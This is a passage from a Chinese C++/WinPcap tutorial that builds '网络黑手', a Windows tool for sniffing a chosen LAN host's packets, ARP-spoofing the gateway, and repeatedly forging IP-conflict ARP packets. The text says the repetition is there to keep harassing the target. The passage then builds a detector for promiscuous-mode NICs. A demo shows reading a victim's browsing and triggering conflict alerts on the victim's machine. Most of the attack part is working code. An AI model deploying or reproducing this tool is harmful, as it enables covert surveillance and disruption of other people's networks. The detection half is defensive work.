} m_hostList.Invalidate(); unsigned char mac[6]; memcpy(mac, mmac, 4); mac[5] = rand(); for (i = 0; i < currentHstIndex; i++) { unsigned long ip; if (hostList[i].arpCheat == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //网关->欺骗IP } if (hostList[i].ipConflict == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(ip, 2, mac); } } memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0; OnRecvPkt(); sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); }
Sniffer到需要监听节点的报文后,sniffer线程会主动给对话框发送消息,以更新显示:
void CNetHackerDlg::OnRecvPkt() { CString str;
for (int i = 1; i <= MAX_PACKET; i++) { if (!packetList[i - 1].srcIp) break; m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp)))); m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp)))); switch (packetList[i - 1].protocol) { case IPPROTO_TCP: m_packetList.SetText(i, 2, "TCP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_UDP: m_packetList.SetText(i, 2, "UDP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_ICMP: m_packetList.SetText(i, 2, "ICMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case IPPROTO_IGMP: m_packetList.SetText(i, 2, "IGMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case ARP: m_packetList.SetText(i, 2, "ARP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; } }
m_packetList.Invalidate(); }
"启动"和"停止"按钮的处理函数为:
void CNetHackerDlg::OnStartstopButton() { // TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin; m_adapterList.GetWindowText(adapter, 200); if (m_runStatus == STOP) { lpadapter = PacketOpenAdapter(adapter); if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) { MessageBox("PacketOpenAdapter Error", "网络黑手", MB_ICONEXCLAMATION); return ; } if ((lppackets = PacketAllocatePacket()) == FALSE) { MessageBox("PacketAllocatePacket send Error", "网络黑手", MB_ICONEXCLAMATION); return ; } for (d = alldevs; d; d = d->next) { if (strcmp(d->name, adapter) == 0) { sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } } m_hostList.SetText(1, 0, "正在获取..."); m_hostList.SetText(1, 1, "正在获取...");
m_hostList.Invalidate(); m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip); memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); SetTimer(1, 100, NULL); //启动定时器 SetDlgItemText(IDC_STARTSTOP_BUTTON, "停止"); m_runStatus = START; } else { TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0; SetDlgItemText(IDC_STARTSTOP_BUTTON, "开始"); m_runStatus = STOP; PacketCloseAdapter(lpadapter); KillTimer(1); } }
下面我们来介绍"ARP欺骗"和"报告IP冲突"的实现方法。ARP欺骗很简单,发送一个ARP报文,目的IP为攻击目标,源IP为局域网网关,源MAC地址瞎弄一个或弄成自己的即可:
SendArpReq(gateIp, desIp,mmac);
"报告IP冲突"的实现方法是,发送一个ARP报文,源IP为攻击目标,目的IP瞎弄一个,MAC地址也瞎弄一个:
SendArpReq(desIp, 2,mac);
为了不断的骚扰对方,我们可以弄个定时器,在OnTimer()的时候就给需要欺骗的目标整一个伪造报文:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { //… for (int i = 0; i < currentHstIndex; i++) { if (hostList[i].arpCheat == 1) { SendArpReq(gateIp, desIp, mmac); } if (hostList[i].ipConflict == 1) { SendArpReq(desIp, 2, mac); } } }
最后,因为对话框程序的回车键会产生与按下OK按钮同样的效果,即对话框程序会关闭,而我们的上述程序不需要OK按钮,因此,可以直接覆盖OnOk()函数,相关代码为:
class CNetHackerDlg: public CDialog { //... // Generated message map functions //{{AFX_MSG(CNetHackerDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnStartstopButton(); afx_msg void OnTimer(UINT nIDEvent); afx_msg void OnRecvPkt(); afx_msg void OnOk(); //OK按钮处理函数 //}}AFX_MSG //... }; BEGIN_MESSAGE_MAP(CNetHackerDlg, CDialog) //{{AFX_MSG_MAP(CNetHackerDlg) ON_WM_SYSCOMMAND()
ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_STARTSTOP_BUTTON, OnStartstopButton) ON_BN_CLICKED(IDOK,OnOk) //OK按钮消息影射 ON_WM_TIMER() ON_MESSAGE(RECV_PKT, OnRecvPkt) //}}AFX_MSG_MAP END_MESSAGE_MAP() void CNetHackerDlg::OnOk() { CAboutDlg dlg; dlg.DoModal(); }
上述的OK按钮处理函数将弹出软件的关于(About)对话框,这样,在对话框的任意位置按下回车键,将弹出关于对话框,效果如下:
最后,因为程序包括了Winpcap相关.dll及其他.dll的引用,因此,我们应该在程序的适当地方进行如下声明:
#pragma comment(lib,"Packet.lib") #pragma comment(lib,"wpcap.lib") #pragma comment(lib,"Ws2_32.lib")
2、网络黑手终结者的实现 "网络黑手终结者"用于搜索局域网内处于混杂模式的网卡并将其列出,检测其是否正在使用的是"网络黑手"(对方可能使用其他工具使网卡处于混杂模式),如果是,我们可以通过"黑手状态"一列来终结对方正在使用的"网络黑手"。 检测局域网内处于混杂模式网卡的原理如下: 正常的ARP请求使用FF-FF-FF-FF-FF-FF这个MAC地址为目标,这个是一个正规的广播地址,网卡不管处于正常模式还是混杂,都会接收并 传递给系统核心。但是,为了侦查混杂模式的网卡,我们以FF-FF-FF-FF-FF-FE为目标发送ARP请求。假设对方网卡处于混杂模式,它就会接受 这个ARP请求并提交给系统核心。巧就巧在操作系统在检测MAC层广播地址时,不会检查所有的字节,即它可能认为FF-FF-XX-XX-XX-XX就等 同于FF-FF-FF-FF-FF-FF,并给出ARP回复。所有的Windows操作系统都是如此。显然,最保险的是以FF-FF-FF-FF-FF- FE为目标发送ARP请求,处于混杂模式的网卡会接收该报文而正常的网卡则不会接收,混杂模式的网卡接收到ARP请求提交系统核心后,会发送ARP回复, 凭此可以确定该节点一定处于混杂模式。ArpKiller软件也是基于上述原理展开的。 "网络黑手终结者"的界面如下:
创建界面中表格及获得网卡列表、对话框初始化的代码如下:
BOOL CNetHackerKillDlg::OnInitDialog() { CDialog::OnInitDialog();
// Add "About..." menu item to system menu. // IDM_ABOUTBOX must be in the system command range. ASSERT((IDM_ABOUTBOX &0xFFF0) == IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX < 0xF000); CMenu *pSysMenu = GetSystemMenu(FALSE); if (pSysMenu != NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); if (!strAboutMenu.IsEmpty()) { pSysMenu->AppendMenu(MF_SEPARATOR); pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } // Set the icon for this dialog. The framework does this automatically // when the application's main window is not a dialog SetIcon(m_hIcon, TRUE); // Set big icon SetIcon(m_hIcon, FALSE); // Set small icon // TODO: Add extra initialization here int i = 0; char errbuf[PCAP_ERRBUF_SIZE]; /* 取得列表 */ if (pcap_findalldevs(&alldevs, errbuf) == - 1) { MessageBox("获得网络适配器列表失败,请确认您正确安装了WINPCAP!", "网络黑手", MB_ICONEXCLAMATION); GetDlgItem(IDC_STARTSTOP_BUTTON)->EnableWindow(FALSE); } /* 输出列表 */ for (d = alldevs; d; d = d->next) { CString str(d->name); if (str.Find("//Device//NPF_Generic", 0) == - 1) m_adapterList.AddString(str);
} m_hostList.Create(CRect(12, 114, 435, 322), this, 1000); m_hostList.SetCols(4); m_hostList.SetRows(16); for (i = 0; i < 16; i++) { m_hostList.SetRowHeight(i, 13); for (int j = 0; j < 5; j++) { m_hostList.SetAlignment(i, j, DT_CENTER); } } m_hostList.SetColWidth(0, 120); m_hostList.SetColWidth(1, 140); m_hostList.SetColWidth(2, 100); m_hostList.SetColWidth(3, 62); m_hostList.SetColWidth(4, 62); m_hostList.SetText(0, 0, "IP地址"); m_hostList.SetText(0, 1, "MAC地址"); m_hostList.SetText(0, 2, "是否网络黑手"); m_hostList.SetText(0, 3, "黑手状态"); return TRUE; // return TRUE unless you set the focus to a control }
简单的修改ARP请求函数的目标地址:
void SendArpReq(unsigned long srcIp,unsigned long desIp,UCHAR * srcMac) { //… eth.eh_dst[5]=0xfe; //… }
GetData()函数则不再需要侦听报文:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off;
ETHDR *eth; ARPHDR *arp; char *buf, *pChar, *base; struct bpf_hdr *hdr; ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer; off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen; pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen); eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR)); if (eth->eh_type == htons(ETH_IP)) { continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++;
} } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); } } }
如何判断处于混杂模式的主机是否使用的是"网络黑手"呢?又如何终止对方"网络黑手"的使用呢?道理很简单,我们只需要在"网络黑手"与"网络黑手终结者"之间约定一套通信协议,按照该协议进行控制。剩下的工作留给读者朋友了。 3、攻防演示 下面的界面显示了搜索局域网内192.168.1.1~192.168.1.30范围内的节点并侦听192.168.1.2,我们简单的抓一些报文后按 下"停止",看看其中的一个TCP报文,简单的信息让我们看出对方正在上http://www.sina.com.cn这个网页。 我们完全可以把网络黑手做的更牛X一点,对应用层报文进行分析,从而完整地监视目标的行为。 现在我们给目标192.168.1.2 伪造ARP报文让其一直被提示IP冲突"IP地址与网络上的其他系统有冲突",抓图如下:
我们用"ArpKiller"或者"网络黑手终结者"都可以扫描出局域网内处于混杂模式的主机,如果确定对方使用的是"网络黑手",在表格的黑手状态项目对应的行里双击,就会给"网络黑手"发送终止报文,"网络黑手"软件将自动关闭。

raw socket相关推荐

  1. 用C#的Raw Socket实现网络封包监视

    <script language="javascript" src="/ad/js/edu_left_300-300.js" type="tex ...

  2. python实现syn半扫描_python 使用raw socket进行TCP SYN扫描实例

    1. TCP SYN扫描 端口扫描常用于用于探测服务器或主机开放端口情况,被计算机管理员用于确认安全策略,同时被攻击者用于识别目标主机上的可运作的网络服务.端口扫描是向一定范围的服务器端口发送对应请求 ...

  3. RAW SOCKET探索

    在Linux实现抓取以太网络上的数据包主要有libpcap,raw socket以及从内核中获取的方式. 我尝试选择使用raw socket来抓取以太网络上的数据包. 一.socket地址域(协议簇) ...

  4. 解读Raw Socket

    什么是Raw Socket呢?下面是来自wikipedia的解释: In computer networking, a raw socket is a socket that allows direc ...

  5. 关于windows xp sp2/sp3 中tcpip.sys对于Raw socket的限制

    WINDOWS XP SP2修改了TCPIP.SYS,增加了对于RAW SOCKET的发送和伪造源地的限制,详情如下 : 1) 不能通过raw socket发送TCP报文.做此尝试时会得到10004号 ...

  6. Raw Socket编程

    原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM.SOCK_DGRAM的套接字,它实现于系统核心.然而,原始套接字能做什么呢?首 先来说,普通的套接字无法处理ICMP.IGMP等网络报 ...

  7. linux raw限制端口访出,使用Linux raw socket时需要注意的一些问题

    本文的copyleft归gfree.wind@gmail.com所有,使用GPL发布,可以自由拷贝,转载.但转载请保持文档的完整性,注明原作者及原链接,严禁用于任何商业用途. 作者:gfree.win ...

  8. linux raw socket 例子,raw socket编程例子

    raw socket编程例子内容安排: 1.原始套接字介绍 1.1 原始套接字工作原理与规则 1.2 简单应用 2 FTP密码窃取器实现(简单的rootkit) 2.1 设计思路 2.2 实现 2.3 ...

  9. C#下的Raw Socket编程实现网络封包监视

    谈起socket编程,大家也许会想起QQ和IE,没错.还有许多网络工具如P2P.NetMeeting等在应用层实现的应用程序,也是用socket来实现的.Socket是一个网络编程接口,实现于网络应用 ...

  10. 用C#下的Raw Socket编程实现网络封包监视(摘录)

    谈起socket编程,大家也许会想起QQ和IE,没错.还有许多网络工具如P2P.NetMeeting等在应用层实现的应用程序,也是用 socket来实现的.Socket是一个网络编程接口,实现于网络应 ...

最新文章

  1. 不断注册账号能挤满对方服务器吗,为什么不能注册啊
  2. 多个tomcat配置
  3. 摔倒、摔倒检测数据集
  4. 高效大规模图像搜索开源实现
  5. java单例模式和HashMap的线程安全
  6. cs231n作业1——knn
  7. 二叉堆(binary heap)—— 优先队列的实现
  8. 英特尔服务器主板g41性能,什么叫优化好,英特尔G41集成显卡也能流畅运行
  9. 阿里巴巴2021年java研发工程师暑期实习一面及二面面经
  10. 排队论----学习反馈
  11. 计算机应用基础——计算机硬件(二)
  12. 8、16、32-BIT系列单片机区别与特点
  13. 一次 ASAN 找不到 symbolizer 问题的分析与解决
  14. Programming Challenges 习题 1.6.7
  15. iOS 16 NSTextContentStorage locationFromLocation:withOffset: 崩溃问题
  16. java毕业设计_基于web的游泳馆管理系统的设计与实现
  17. ScheduleMaster分布式任务调度中心基本使用和原理
  18. nodejs读取图片并将二进制数据转换成base64格式
  19. 【BZOJ4244】邮戳拉力赛
  20. 转载:好的U盘启动工具集

热门文章

  1. Redfish协议测试工具–Postman
  2. 技嘉linux支持的主板型号,详细解读主板厂商命名规则——技嘉篇
  3. IntelliJ IDEA之Java开发常规项目配置介绍
  4. 步进电机怎么选型?步进电机驱动器选型要怎么选?
  5. 2021最新一线互联网大厂常见高并发面试题解析
  6. 软件测试面试题(二):Jmeter面试
  7. 在线使用matlab,MATLAB在线版本使用介绍
  8. 字符串队列c语言,c语言队列问题
  9. C语言队列(排队)先进先出.实现全部函数
  10. Modbus RTU/ASCll+TCP+OPC电脑模拟+串口调试软件对接方案